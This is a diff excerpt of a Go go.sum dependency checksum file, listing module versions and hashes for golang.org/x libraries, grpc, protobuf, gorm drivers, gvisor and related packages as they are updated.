golang.org/x/oauth2 v0.0.0-20211005180243-6b3c2da341f1 h1:B333XXssMuKQeBwiNODx4TupZy7bf4sxFZnN2ZOcvUE=
|
||||
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.1.0 h1:wsuoTGHzEhffawBOhz5CYhcrV4IdKZbEyZjBMuTp12o=
|
||||
golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4 h1:uVc8UZUe6tr40fFVnUP5Oj+veunVezqYl9z7DYw9xzw=
|
||||
golang.org/x/sys v0.0.0-20180606202747-9527bec2660b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190403152447-81d4e9dc473e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190530182044-ad28b68e88f1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190813064441-fde4db37ae7a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201009025420-dfb3f7c4e634/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201207223542-d4d67f95c62d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211103235746-7861aae1554b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211110154304-99a53858aa08/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
@@ -359,37 +494,46 @@ golang.org/x/sys v0.0.0-20220422013727-9388b58f7150/go.mod h1:oPkhp1MJrh7nUepCBc
|
||||
golang.org/x/sys v0.0.0-20220503163025-988cb79eb6c6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.2.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU=
|
||||
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220928140112-f11e5e49a4ec h1:BkDtF2Ih9xZ7le9ndzTA7KJow28VbQW3odyk/8drmuI=
|
||||
golang.org/x/sys v0.0.0-20220928140112-f11e5e49a4ec/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210503060354-a79de5458b56/go.mod h1:tfny5GFUkzUvx4ps4ajbZsCe5lw1metzhBm9T3x7oIY=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
||||
golang.org/x/term v0.2.0/go.mod h1:TVmDHMZPmdnySmBfhjOoOdhjzdE1h4u1VwSiw2l1Nuc=
|
||||
golang.org/x/term v0.5.0 h1:n2a8QNdAb0sZNpU9R1ALUXBbY+w51fCQDN+7EdxNBsY=
|
||||
golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||
golang.org/x/text v0.4.0 h1:BrVqGRd7+k1DiOgtnFvAkoQEWQvBc25ouMJM6429SFg=
|
||||
golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/text v0.7.0 h1:4BRB4x83lYWy72KwLD/qYDuTu7q9PjSagHvijDw7cLo=
|
||||
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba h1:O8mE0/t419eoIwhTFpKVkHiTs/Igowgfkj25AcZrtiE=
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
|
||||
golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
|
||||
golang.org/x/tools v0.0.0-20190425163242-31fd60d6bfdc/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
|
||||
golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
|
||||
golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
|
||||
golang.org/x/tools v0.0.0-20190823170909-c4a336ef6a2f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20191029041327-9cc4af7d6b2c/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20191029190741-b9c20aec41a5/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20200103221440-774c71fcf114/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
|
||||
golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
|
||||
golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
|
||||
golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
|
||||
golang.org/x/tools v0.1.12 h1:VveCTK38A2rkS8ZqFY25HIDFscX5X9OoEhJd3quQmXU=
|
||||
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
|
||||
golang.org/x/tools v0.3.0 h1:SrNbZl6ECOS1qFzgTdQfWXZM9XBkiA6tkFrH9YSTPHM=
|
||||
golang.org/x/tools v0.3.0/go.mod h1:/rWhSS2+zyEVwoJf8YAX6L2f0ntZ7Kn/mGgAWcipA5k=
|
||||
golang.org/x/xerrors v0.0.0-20190410155217-1f06c39b4373/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20190513163551-3ee3066db522/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
@@ -408,17 +552,32 @@ google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6
|
||||
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
|
||||
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
|
||||
google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
|
||||
google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f h1:BWUVssLB0HVOSY78gIdvk1dTVYtT1y8SBWtPYuTJ/6w=
|
||||
google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM=
|
||||
google.golang.org/genproto v0.0.0-20200513103714-09dca8ec2884/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
|
||||
google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo=
|
||||
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f h1:YORWxaStkWBnWgELOHTmDrqNlFXuVGEbhwbB5iK94bQ=
|
||||
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f/go.mod h1:ob2IJxKrgPT52GcgX759i1sleT07tiKowYBGbczaW48=
|
||||
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
|
||||
google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
|
||||
google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
|
||||
google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
|
||||
google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=
|
||||
google.golang.org/grpc v1.53.0 h1:LAv2ds7cmFV/XTS3XG1NneeENYrXGmorPxsBbptIjNc=
|
||||
google.golang.org/grpc v1.53.0/go.mod h1:OnIrk0ipVdj4N5d9IUoFUx72/VlD7+jUsHwZgwSMQpw=
|
||||
google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0=
|
||||
google.golang.org/grpc v1.36.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=
|
||||
google.golang.org/grpc v1.39.0/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE=
|
||||
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84 h1:hZAzgyItS2MPyqvdC8wQZI99ZLGP9Vwijyfr0dmYWc4=
|
||||
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU=
|
||||
google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
|
||||
google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
|
||||
google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
|
||||
google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=
|
||||
google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
|
||||
google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
|
||||
google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
|
||||
google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
|
||||
google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=
|
||||
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
|
||||
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
|
||||
google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
|
||||
google.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w=
|
||||
google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.5/go.mod h1:iBNOmqKz/NUbZx3bA+4hAGLRC7fSK7tgtVDT4tB22XA=
|
||||
@@ -426,9 +585,10 @@ gopkg.in/AlecAivazis/survey.v1 v1.8.8 h1:5UtTowJZTz1j7NxVzDGKTz6Lm9IWm8DDF6b7a2w
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8/go.mod h1:CaHjv79TCgAvXMSFJSVgonHXYWxnhzI3eoHtnX5UgUo=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
|
||||
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b h1:QRR6H1YWRnHb4Y/HeNFCTJLFVxaq6wH4YuVdsUOr75U=
|
||||
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
|
||||
gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s=
|
||||
gopkg.in/jcmturner/aescts.v1 v1.0.1 h1:cVVZBK2b1zY26haWB4vbBiZrfFQnfbTVrE3xZq6hrEw=
|
||||
gopkg.in/jcmturner/aescts.v1 v1.0.1/go.mod h1:nsR8qBOg+OucoIW+WMhB3GspUQXq9XorLnQb9XtvcOo=
|
||||
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 h1:cIuC1OLRGZrld+16ZJvvZxVJeKPsvd5eUIvxfoN5hSM=
|
||||
@@ -440,45 +600,46 @@ gopkg.in/jcmturner/gokrb5.v7 v7.5.0/go.mod h1:l8VISx+WGYp+Fp7KRbsiUuXTTOnxIc3Tuv
|
||||
gopkg.in/jcmturner/rpc.v1 v1.1.0 h1:QHIUxTX1ISuAv9dD2wJ9HWQVuWDX/Zc0PfeC2tjc4rU=
|
||||
gopkg.in/jcmturner/rpc.v1 v1.1.0/go.mod h1:YIdkC4XfD6GXbzje11McwsDuOlZQSb9W4vfLvuNnlv8=
|
||||
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gorm.io/driver/mysql v1.4.7 h1:rY46lkCspzGHn7+IYsNpSfEv9tA+SU4SkkB+GFX125Y=
|
||||
gorm.io/driver/mysql v1.4.7/go.mod h1:SxzItlnT1cb6e1e4ZRpgJN2VYtcqJgqnHxWr4wsP8oc=
|
||||
gorm.io/driver/postgres v1.4.8 h1:NDWizaclb7Q2aupT0jkwK8jx1HVCNzt+PQ8v/VnxviA=
|
||||
gorm.io/driver/postgres v1.4.8/go.mod h1:O9MruWGNLUBUWVYfWuBClpf3HeGjOoybY0SNmCs3wsw=
|
||||
gorm.io/driver/sqlite v1.4.4 h1:gIufGoR0dQzjkyqDyYSCvsYR6fba1Gw5YKDqKeChxFc=
|
||||
gorm.io/driver/sqlite v1.4.4/go.mod h1:0Aq3iPO+v9ZKbcdiz8gLWRw5VOPcBOPUQJFLq5e2ecI=
|
||||
gorm.io/driver/mysql v1.4.4 h1:MX0K9Qvy0Na4o7qSC/YI7XxqUw5KDw01umqgID+svdQ=
|
||||
gorm.io/driver/mysql v1.4.4/go.mod h1:BCg8cKI+R0j/rZRQxeKis/forqRwRSYOR8OM3Wo6hOM=
|
||||
gorm.io/driver/postgres v1.4.5 h1:mTeXTTtHAgnS9PgmhN2YeUbazYpLhUI1doLnw42XUZc=
|
||||
gorm.io/driver/postgres v1.4.5/go.mod h1:GKNQYSJ14qvWkvPwXljMGehpKrhlDNsqYRr5HnYGncg=
|
||||
gorm.io/driver/sqlite v1.4.3 h1:HBBcZSDnWi5BW3B3rwvVTc510KGkBkexlOg0QrmLUuU=
|
||||
gorm.io/driver/sqlite v1.4.3/go.mod h1:0Aq3iPO+v9ZKbcdiz8gLWRw5VOPcBOPUQJFLq5e2ecI=
|
||||
gorm.io/gorm v1.23.8/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
|
||||
gorm.io/gorm v1.24.0/go.mod h1:DVrVomtaYTbqs7gB/x2uVvqnXzv0nqjB396B8cG4dBA=
|
||||
gorm.io/gorm v1.24.2/go.mod h1:DVrVomtaYTbqs7gB/x2uVvqnXzv0nqjB396B8cG4dBA=
|
||||
gorm.io/gorm v1.24.5 h1:g6OPREKqqlWq4kh/3MCQbZKImeB9e6Xgc4zD+JgNZGE=
|
||||
gorm.io/gorm v1.24.5/go.mod h1:DVrVomtaYTbqs7gB/x2uVvqnXzv0nqjB396B8cG4dBA=
|
||||
gorm.io/gorm v1.24.1-0.20221019064659-5dd2bb482755 h1:7AdrbfcvKnzejfqP5g37fdSZOXH/JvaPIzBIHTOqXKk=
|
||||
gorm.io/gorm v1.24.1-0.20221019064659-5dd2bb482755/go.mod h1:DVrVomtaYTbqs7gB/x2uVvqnXzv0nqjB396B8cG4dBA=
|
||||
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5 h1:cv/zaNV0nr1mJzaeo4S5mHIm5va1W0/9J3/5prlsuRM=
|
||||
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5/go.mod h1:TIvkJD0sxe8pIob3p6T8IzxXunlp6yfgktvTNp+DGNM=
|
||||
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
|
||||
lukechampine.com/uint128 v1.2.0 h1:mBi/5l91vocEN8otkC5bDLhi2KdCticRiwbdB0O+rjI=
|
||||
lukechampine.com/uint128 v1.2.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk=
|
||||
